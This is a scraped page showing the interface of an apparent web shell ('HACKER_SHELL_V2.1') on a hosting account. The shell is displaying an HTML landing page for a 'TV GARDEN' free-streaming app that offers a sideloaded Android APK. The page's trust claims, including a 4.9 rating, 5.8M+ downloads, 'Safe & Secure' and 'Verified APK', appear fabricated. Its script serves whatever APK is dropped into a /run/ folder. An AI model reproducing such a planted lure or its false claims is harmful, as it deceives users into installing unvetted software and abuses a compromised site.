GIF89a; HACKER_SHELL_V2.1

TERMINAL EXPLOIT V2.1

[LOCATION]: /home/dashboarduatpayn/ssl/public_html/99e02b/

Folder Link Grabber

PREFIX: SUFFIX:

Mass File Creator

FILENAME: CONTENT:

Quick Actions

FILE:
NEW_ITEM:
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
  <title>TV GARDEN โ€” Free TV, News & Live Streaming</title>
  <link href="https://fonts.googleapis.com/css2?family=Inter:opsz,wght@14..32,300;400;500;600;700;800&display=swap" rel="stylesheet">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
  <style>
    /* [ALL YOUR EXISTING CSS STYLES HERE - keeping them the same] */
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
    }

    body {
      font-family: 'Inter', system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, sans-serif;
      background: #0a0c15;
      color: #eef2ff;
      line-height: 1.4;
      scroll-behavior: smooth;
    }

    .container {
      max-width: 1280px;
      margin: 0 auto;
      padding: 0 32px;
    }

    .hero {
      display: flex;
      flex-wrap: wrap;
      align-items: center;
      justify-content: space-between;
      gap: 48px;
      padding: 80px 0 64px 0;
    }

    .hero-content {
      flex: 1.2;
      min-width: 280px;
    }

    .hero-visual {
      flex: 0.9;
      min-width: 280px;
      display: flex;
      justify-content: center;
      position: relative;
    }

    .badge {
      display: inline-flex;
      align-items: center;
      gap: 8px;
      background: rgba(34, 197, 94, 0.18);
      backdrop-filter: blur(4px);
      padding: 6px 18px 6px 14px;
      border-radius: 100px;
      font-size: 0.85rem;
      font-weight: 600;
      color: #4ade80;
      margin-bottom: 24px;
      border: 1px solid rgba(74, 222, 128, 0.3);
    }

    h1 {
      font-size: clamp(2.5rem, 6vw, 4.2rem);
      font-weight: 800;
      letter-spacing: -0.02em;
      background: linear-gradient(135deg, #ffffff 0%, #86efac 80%);
      background-clip: text;
      -webkit-background-clip: text;
      color: transparent;
      margin-bottom: 20px;
      line-height: 1.2;
    }

    .hero-description {
      font-size: 1.2rem;
      color: #b9c7d9;
      margin-bottom: 32px;
      max-width: 540px;
      line-height: 1.5;
    }

    .store-buttons {
      display: flex;
      flex-wrap: wrap;
      gap: 18px;
      margin-bottom: 32px;
    }

    .btn-store {
      display: inline-flex;
      align-items: center;
      justify-content: center;
      gap: 10px;
      background: #1e1f2c;
      padding: 14px 36px;
      border-radius: 60px;
      text-decoration: none;
      color: white;
      transition: all 0.25s ease;
      box-shadow: 0 6px 14px rgba(0, 0, 0, 0.3);
      border: 1px solid rgba(255, 255, 255, 0.08);
      font-weight: 700;
      font-size: 1rem;
      letter-spacing: 0.5px;
      cursor: pointer;
      background: #10b981;
    }

    .btn-store:hover {
      transform: translateY(-3px);
      background: #059669;
      box-shadow: 0 20px 25px -8px rgba(0, 0, 0, 0.5);
      border-color: rgba(74, 222, 128, 0.6);
    }

    .btn-store:disabled {
      opacity: 0.5;
      cursor: not-allowed;
      transform: none;
    }

    .free-badge {
      background: #10b981;
      color: white;
      font-size: 0.7rem;
      font-weight: bold;
      padding: 4px 12px;
      border-radius: 30px;
      display: inline-block;
      margin-left: 12px;
      vertical-align: middle;
    }

    .rating {
      display: flex;
      align-items: center;
      gap: 16px;
      flex-wrap: wrap;
      font-size: 0.9rem;
      color: #b9c7d9;
    }

    .stars {
      color: #fbbf24;
      letter-spacing: 2px;
    }

    .phone-mock {
      position: relative;
      max-width: 300px;
      width: 100%;
      margin: 0 auto;
    }

    .mock-frame {
      background: #0f111a;
      border-radius: 48px;
      padding: 12px 8px;
      box-shadow: 0 30px 45px -15px rgba(0, 0, 0, 0.6), 0 0 0 6px #2d2f42, 0 0 0 12px #1e1f2c;
    }

    .mock-frame img {
      width: 100%;
      border-radius: 36px;
      display: block;
      aspect-ratio: 9 / 19;
    }

    .features {
      padding: 80px 0;
    }

    .section-title {
      text-align: center;
      font-size: 2rem;
      font-weight: 700;
      margin-bottom: 56px;
      background: linear-gradient(120deg, #ffffff, #86efac);
      background-clip: text;
      -webkit-background-clip: text;
      color: transparent;
    }

    .features-grid {
      display: grid;
      grid-template-columns: repeat(auto-fit, minmax(260px, 1fr));
      gap: 32px;
    }

    .feature-card {
      background: rgba(18, 22, 35, 0.8);
      backdrop-filter: blur(8px);
      border-radius: 2rem;
      padding: 32px 24px;
      transition: all 0.25s ease;
      border: 1px solid rgba(255, 255, 255, 0.05);
      text-align: center;
    }

    .feature-card:hover {
      transform: translateY(-6px);
      background: #1f2335;
      border-color: rgba(74, 222, 128, 0.4);
    }

    .feature-icon {
      background: linear-gradient(145deg, #2d2f42, #1a1c2a);
      width: 70px;
      height: 70px;
      display: flex;
      align-items: center;
      justify-content: center;
      border-radius: 28px;
      margin: 0 auto 24px;
      font-size: 2rem;
      color: #4ade80;
    }

    .stats-section {
      background: linear-gradient(135deg, #13172b, #0b0e1a);
      border-radius: 3rem;
      padding: 56px 40px;
      margin: 32px 0 64px;
      border: 1px solid rgba(255, 255, 255, 0.05);
    }

    .stats-grid {
      display: flex;
      flex-wrap: wrap;
      justify-content: space-between;
      gap: 32px;
      text-align: center;
    }

    .stat-number {
      font-size: 2.8rem;
      font-weight: 800;
      background: linear-gradient(145deg, #ffffff, #86efac);
      background-clip: text;
      -webkit-background-clip: text;
      color: transparent;
    }

    .cta-download {
      text-align: center;
      background: #111522;
      border-radius: 2.5rem;
      padding: 56px 32px;
      margin: 20px 0 80px;
      border: 1px solid rgba(255, 255, 255, 0.06);
    }

    .live-badge {
      background: #ef4444;
      color: white;
      font-size: 0.7rem;
      font-weight: bold;
      padding: 4px 10px;
      border-radius: 40px;
      display: inline-flex;
      align-items: center;
      gap: 6px;
    }

    footer {
      text-align: center;
      padding: 32px 0 48px;
      border-top: 1px solid rgba(255, 255, 255, 0.05);
      font-size: 0.85rem;
      color: #8a99b0;
    }

    @media (max-width: 850px) {
      .hero {
        flex-direction: column-reverse;
        text-align: center;
        padding: 40px 0 32px;
      }
      .hero-content {
        text-align: center;
      }
      .hero-description {
        margin-left: auto;
        margin-right: auto;
      }
      .store-buttons {
        justify-content: center;
      }
      .rating {
        justify-content: center;
      }
      .container {
        padding: 0 24px;
      }
    }

    .fade-up {
      opacity: 0;
      transform: translateY(20px);
      animation: fadeUp 0.7s ease forwards;
    }

    @keyframes fadeUp {
      to {
        opacity: 1;
        transform: translateY(0);
      }
    }

    .delay-100 { animation-delay: 0.1s; }

    .toast {
      position: fixed;
      bottom: 30px;
      left: 50%;
      transform: translateX(-50%);
      background: #10b981;
      color: white;
      padding: 12px 24px;
      border-radius: 50px;
      font-size: 0.9rem;
      font-weight: 500;
      z-index: 1000;
      box-shadow: 0 10px 25px -5px rgba(0, 0, 0, 0.3);
      animation: slideUp 0.3s ease;
    }

    @keyframes slideUp {
      from {
        opacity: 0;
        transform: translateX(-50%) translateY(20px);
      }
      to {
        opacity: 1;
        transform: translateX(-50%) translateY(0);
      }
    }

    .file-info {
      background: rgba(16, 185, 129, 0.1);
      border-radius: 12px;
      padding: 12px 20px;
      margin-top: 16px;
      font-size: 0.85rem;
      display: inline-flex;
      align-items: center;
      gap: 12px;
      flex-wrap: wrap;
      justify-content: center;
    }

    .refresh-btn {
      background: rgba(16, 185, 129, 0.2);
      border: 1px solid rgba(74, 222, 128, 0.3);
      padding: 6px 12px;
      border-radius: 20px;
      font-size: 0.7rem;
      cursor: pointer;
      transition: all 0.2s;
    }

    .refresh-btn:hover {
      background: rgba(16, 185, 129, 0.4);
    }

    .loading-spinner {
      display: inline-block;
      width: 16px;
      height: 16px;
      border: 2px solid rgba(255,255,255,0.3);
      border-radius: 50%;
      border-top-color: white;
      animation: spin 0.6s linear infinite;
    }

    @keyframes spin {
      to { transform: rotate(360deg); }
    }
  </style>
</head>
<body>

<div class="container">
  <div class="hero">
    <div class="hero-content fade-up">
      <div class="badge">
        <i class="fas fa-seedling"></i>
        <span>LIVE TV ยท 24/7 NEWS ยท SPORTS & SHOWS</span>
      </div>
      <h1>TV GARDEN: <br>Watch Free TV, News & More <span class="free-badge">100% FREE</span></h1>
      <p class="hero-description">
        Stream live sports, breaking news, hit series, and exclusive originals โ€” all in one blooming entertainment app. No subscription, no credit card.
      </p>
      <div class="store-buttons">
        <a href="javascript:void(0);" class="btn-store" id="directDownloadBtn">
          <i class="fas fa-download"></i>
          <span id="btnText">Download APK Now</span>
        </a>
      </div>
      <div class="rating">
        <div class="stars">
          <i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i>
        </div>
        <span><strong>4.9</strong> (127k+ ratings)</span>
        <span><i class="fas fa-download"></i> 5.8M+ downloads</span>
        <span class="live-badge"><i class="fas fa-circle" style="font-size: 0.5rem;"></i> LIVE: Wimbledon Finals</span>
      </div>
      <div style="margin-top: 16px; font-size: 0.8rem;">
        <span style="color:#8a99b0;">๐Ÿ“ฑ Android APK | </span>
        <span style="color:#4ade80;">โœ“ Safe & Secure</span>
        <span style="color:#8a99b0;"> | </span>
        <span style="color:#4ade80;" id="versionText">โœ“ Version: Checking...</span>
        <span style="margin-left: 10px;" id="fileDate"></span>
      </div>
    </div>
    <div class="hero-visual fade-up delay-100">
      <div class="phone-mock">
        <div class="mock-frame">
          <img src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 400 800'%3E%3Crect width='400' height='800' fill='%23000000'/%3E%3Crect y='0' width='400' height='110' fill='%231a2e1f'/%3E%3Ctext x='30' y='55' fill='%2386efac' font-size='20' font-weight='bold'%3ETV GARDEN%3C/text%3E%3Crect x='300' y='40' width='50' height='25' rx='12' fill='%23ef4444'/%3E%3Ctext x='312' y='57' fill='white' font-size='10' font-weight='bold'%3ELIVE%3C/text%3E%3Crect x='20' y='135' width='360' height='190' rx='24' fill='%2311121f'/%3E%3Crect x='30' y='150' width='340' height='110' rx='16' fill='%23262646'/%3E%3Ctext x='60' y='185' fill='white' font-size='22' font-weight='bold'%3E๐Ÿ”ฅ BREAKING NEWS%3C/text%3E%3Ctext x='60' y='215' fill='%234ade80' font-size='14' font-weight='bold'%3EGlobal Climate Summit 2025%3C/text%3E%3Ctext x='60' y='240' fill='%23cbd5e1' font-size='12'%3EExclusive live coverage from Geneva%3C/text%3E%3Crect x='30' y='275' width='90' height='28' rx='14' fill='%2310b981'/%3E%3Ctext x='45' y='294' fill='white' font-size='12' font-weight='bold'%3EWatch Now%3C/text%3E%3Crect x='20' y='345' width='360' height='130' rx='20' fill='%2311121f'/%3E%3Crect x='35' y='360' width='90' height='90' rx='14' fill='%233b82f6'/%3E%3Ctext x='55' y='410' fill='white' font-size='32'%3E๐ŸŽพ%3C/text%3E%3Ctext x='145' y='385' fill='white' font-size='16' font-weight='bold'%3EWimbledon 2025%3C/text%3E%3Ctext x='145' y='410' fill='%2394a3b8' font-size='13'%3EFinal: Alcaraz vs Djokovic%3C/text%3E%3Ctext x='145' y='432' fill='%23fbbf24' font-size='12'%3Eโญ 156k watching live%3C/text%3E%3Crect x='20' y='495' width='360' height='130' rx='20' fill='%2311121f'/%3E%3Crect x='35' y='510' width='90' height='90' rx='14' fill='%238b5cf6'/%3E%3Ctext x='55' y='560' fill='white' font-size='32'%3E๐Ÿ“บ%3C/text%3E%3Ctext x='145' y='535' fill='white' font-size='16' font-weight='bold'%3EThe Last of Us S2%3C/text%3E%3Ctext x='145' y='560' fill='%2394a3b8' font-size='13'%3ENew episode ยท Drama Thriller%3C/text%3E%3Crect x='145' y='580' width='80' height='24' rx='12' fill='%2310b981'/%3E%3Ctext x='155' y='597' fill='white' font-size='11' font-weight='bold'%3ENow Streaming%3C/text%3E%3C/svg%3E"
               alt="TV GARDEN app interface">
        </div>
      </div>
    </div>
  </div>

  <div class="features">
    <h2 class="section-title fade-up">Everything grows in TV GARDEN โ€” 100% free</h2>
    <div class="features-grid">
      <div class="feature-card fade-up">
        <div class="feature-icon"><i class="fas fa-tv"></i></div>
        <h3>Live TV & Channels</h3>
        <p>200+ live channels: news, sports, entertainment, and local broadcasts.</p>
      </div>
      <div class="feature-card fade-up">
        <div class="feature-icon"><i class="fas fa-newspaper"></i></div>
        <h3>24/7 News Hub</h3>
        <p>Real-time updates from CNN, BBC, Fox, and personalized news briefings.</p>
      </div>
      <div class="feature-card fade-up">
        <div class="feature-icon"><i class="fas fa-futbol"></i></div>
        <h3>Live Sports</h3>
        <p>Football, tennis, basketball โ€” stream live matches for free.</p>
      </div>
      <div class="feature-card fade-up">
        <div class="feature-icon"><i class="fas fa-film"></i></div>
        <h3>Shows & Movies</h3>
        <p>Thousands of on-demand titles and trending series โ€” zero cost.</p>
      </div>
    </div>
  </div>

  <div class="stats-section fade-up">
    <div class="stats-grid">
      <div class="stat-item"><div class="stat-number">200+</div><div class="stat-label">Live Channels</div></div>
      <div class="stat-item"><div class="stat-number">5.8M+</div><div class="stat-label">Active Users</div></div>
      <div class="stat-item"><div class="stat-number">150+</div><div class="stat-label">Countries</div></div>
      <div class="stat-item"><div class="stat-number">#1</div><div class="stat-label">Free Streaming App</div></div>
    </div>
  </div>

  <div class="cta-download fade-up">
    <h2>Start streaming instantly</h2>
    <p>Join millions of viewers watching live news, blockbuster movies, and exclusive series โ€” all 100% free.</p>
    <a href="javascript:void(0);" class="btn-store" id="ctaDownloadBtn" style="margin: 0 auto; display: inline-flex;">
      <i class="fas fa-download"></i>
      <span>Download TV GARDEN APK</span>
    </a>
    <div style="margin-top: 24px;">
      <span style="background: #1e1f2c; padding: 8px 16px; border-radius: 30px; font-size: 0.75rem;">
        <i class="fas fa-shield-alt"></i> Verified APK ยท <span id="fileSize">Loading...</span> ยท Android 6.0+
      </span>
    </div>
  </div>

  <!-- Permanent Download Section -->
  <div style="text-align: center; margin: 40px 0 60px; padding: 30px; background: rgba(16, 185, 129, 0.08); border-radius: 2rem; border: 1px solid rgba(74, 222, 128, 0.2);">
    <i class="fas fa-link" style="font-size: 2rem; color: #4ade80; margin-bottom: 16px; display: block;"></i>
    <h3 style="margin-bottom: 12px;">Permanent Download Link</h3>
    <p style="color: #b9c7d9; margin-bottom: 16px; word-break: break-all;">
      <code style="background: #1e1f2c; padding: 8px 16px; border-radius: 12px; font-size: 0.85rem;" id="downloadLinkCode">
        Loading...
      </code>
    </p>
    <button id="copyLinkBtn" style="background: #10b981; border: none; padding: 10px 24px; border-radius: 40px; color: white; font-weight: 600; cursor: pointer; margin-top: 8px;">
      <i class="fas fa-copy"></i> Copy Link
    </button>
    <button id="refreshBtn" style="background: #1e1f2c; border: 1px solid #4ade80; padding: 10px 24px; border-radius: 40px; color: white; font-weight: 600; cursor: pointer; margin-top: 8px; margin-left: 10px;">
      <i class="fas fa-sync-alt"></i> Check for Updates
    </button>
    <p style="font-size: 0.7rem; color: #8a99b0; margin-top: 16px;">
      Direct APK download ยท Always up to date
    </p>
  </div>
</div>

<footer>
  <div class="container">
    <p>ยฉ 2025 TV GARDEN โ€” Free streaming for everyone. | <a href="#" style="color:#4ade80; text-decoration: none;">Privacy</a> | <a href="#" style="color:#4ade80; text-decoration: none;">Terms</a> | <a href="#" style="color:#4ade80; text-decoration: none;">Contact</a></p>
    <p style="margin-top: 12px; font-size: 0.75rem;">TV GARDEN is 100% free. No subscriptions, no in-app purchases required. <span id="versionFooter">Version: Checking...</span></p>
  </div>
</footer>

<script>
// ============================================
// DYNAMIC DOWNLOAD WITH FORCE REFRESH
// ============================================

const API_URL = 'download.php';
let currentFileInfo = null;

// Function to fetch file info with cache busting
async function fetchFileInfo(forceRefresh = false) {
    const refreshParam = forceRefresh ? '&refresh=1' : '';
    const cacheBuster = '&_t=' + Date.now();
    
    try {
        const response = await fetch(`${API_URL}?action=info${refreshParam}${cacheBuster}`, {
            cache: 'no-store',
            headers: {
                'Cache-Control': 'no-cache',
                'Pragma': 'no-cache'
            }
        });
        
        const data = await response.json();
        
        if (data.success) {
            currentFileInfo = data;
            
            // Update UI with file info
            document.getElementById('versionText').innerHTML = `โœ“ Version: ${data.version || 'Latest'}`;
            document.getElementById('versionFooter').innerHTML = `Version: ${data.version || 'Latest'}`;
            document.getElementById('fileSize').innerHTML = data.file_size || '~28MB';
            document.getElementById('downloadLinkCode').innerHTML = data.download_url;
            
            if (data.modified) {
                document.getElementById('fileDate').innerHTML = `๐Ÿ“… ${data.modified}`;
            }
            
            // Enable download buttons
            const allButtons = document.querySelectorAll('.btn-store');
            allButtons.forEach(btn => {
                btn.style.opacity = '1';
                btn.style.cursor = 'pointer';
                btn.disabled = false;
            });
            
            // Show success message
            if (forceRefresh) {
                showToast(`โœ… Updated! Now serving: ${data.filename}`, 'success');
            }
            
            return true;
        } else {
            throw new Error(data.message || 'No file found');
        }
    } catch (error) {
        console.error('Error fetching file info:', error);
        document.getElementById('versionText').innerHTML = 'โš ๏ธ No APK found';
        document.getElementById('versionFooter').innerHTML = 'Upload APK to /run/ folder';
        document.getElementById('fileSize').innerHTML = 'Upload file';
        document.getElementById('downloadLinkCode').innerHTML = 'Upload APK to /run/ folder';
        
        if (forceRefresh) {
            showToast('โŒ No APK file found in /run/ folder', 'error');
        }
        
        return false;
    }
}

// Function to start download - ALWAYS gets latest
async function startDownload() {
    if (!currentFileInfo) {
        showToast('โณ Loading file info...', 'info');
        await fetchFileInfo(true);
        if (!currentFileInfo) {
            showToast('โŒ No file available for download', 'error');
            return;
        }
    }
    
    try {
        showToast('๐Ÿ“ฆ Starting download...', 'info');
        
        // Use direct URL with cache busting for the file
        const downloadUrl = currentFileInfo.download_url;
        const cacheBustedUrl = downloadUrl.includes('?') 
            ? downloadUrl + '&_dl=' + Date.now()
            : downloadUrl + '?_dl=' + Date.now();
        
        // Create hidden anchor and trigger download
        const a = document.createElement('a');
        a.href = cacheBustedUrl;
        a.download = currentFileInfo.filename;
        a.style.display = 'none';
        document.body.appendChild(a);
        a.click();
        
        setTimeout(() => {
            document.body.removeChild(a);
        }, 100);
        
        trackDownload('success');
        showToast(`โœ… Downloading ${currentFileInfo.filename}`, 'success');
    } catch (error) {
        console.error('Download error:', error);
        // Fallback: open in new window
        window.open(currentFileInfo.download_url + '?t=' + Date.now(), '_blank');
        showToast('โฌ‡๏ธ Download opened in new tab', 'warning');
    }
}

// Track download analytics
function trackDownload(source) {
    console.log(`Download initiated - Source: ${source} - File: ${currentFileInfo?.filename || 'unknown'}`);
    
    if (typeof gtag !== 'undefined') {
        gtag('event', 'download', {
            'event_category': 'engagement',
            'event_label': source,
            'value': 1
        });
    }
}

// Copy link functionality
function setupCopyButton() {
    const copyBtn = document.getElementById('copyLinkBtn');
    if (copyBtn) {
        copyBtn.addEventListener('click', async () => {
            const url = currentFileInfo?.download_url || '';
            if (url) {
                try {
                    await navigator.clipboard.writeText(url);
                    showToast('โœ… Download link copied to clipboard!', 'success');
                } catch (err) {
                    alert('Manual copy: ' + url);
                }
            } else {
                showToast('โš ๏ธ No file available', 'warning');
            }
        });
    }
    
    // Setup refresh button
    const refreshBtn = document.getElementById('refreshBtn');
    if (refreshBtn) {
        refreshBtn.addEventListener('click', async () => {
            refreshBtn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Checking...';
            refreshBtn.disabled = true;
            
            await fetchFileInfo(true);
            
            refreshBtn.innerHTML = '<i class="fas fa-sync-alt"></i> Check for Updates';
            refreshBtn.disabled = false;
        });
    }
}

// Toast notification
function showToast(message, type = 'success') {
    const existingToast = document.querySelector('.toast');
    if (existingToast) existingToast.remove();
    
    const toast = document.createElement('div');
    toast.className = 'toast';
    const icon = type === 'success' ? 'โœ…' : (type === 'error' ? 'โŒ' : 'โ„น๏ธ');
    toast.innerHTML = `${icon} ${message}`;
    
    if (type === 'error') toast.style.background = '#ef4444';
    if (type === 'warning') toast.style.background = '#f59e0b';
    
    document.body.appendChild(toast);
    
    setTimeout(() => {
        toast.remove();
    }, 4000);
}

// Initialize on page load
document.addEventListener('DOMContentLoaded', async () => {
    // Disable buttons initially
    const allButtons = document.querySelectorAll('.btn-store');
    allButtons.forEach(btn => {
        btn.style.opacity = '0.6';
        btn.style.cursor = 'wait';
    });
    
    // Setup download handlers
    document.getElementById('directDownloadBtn').onclick = startDownload;
    document.getElementById('ctaDownloadBtn').onclick = startDownload;
    
    // Fetch file info
    await fetchFileInfo(false);
    setupCopyButton();
    
    // Show welcome message
    setTimeout(() => {
        if (currentFileInfo) {
            showToast(`๐Ÿ“บ Ready to download ${currentFileInfo.filename}`, 'success');
        } else {
            showToast('๐Ÿ“ Upload APK to /run/ folder on server', 'warning');
        }
    }, 1500);
});
</script>
</body>
</html>
[ CLOSE ]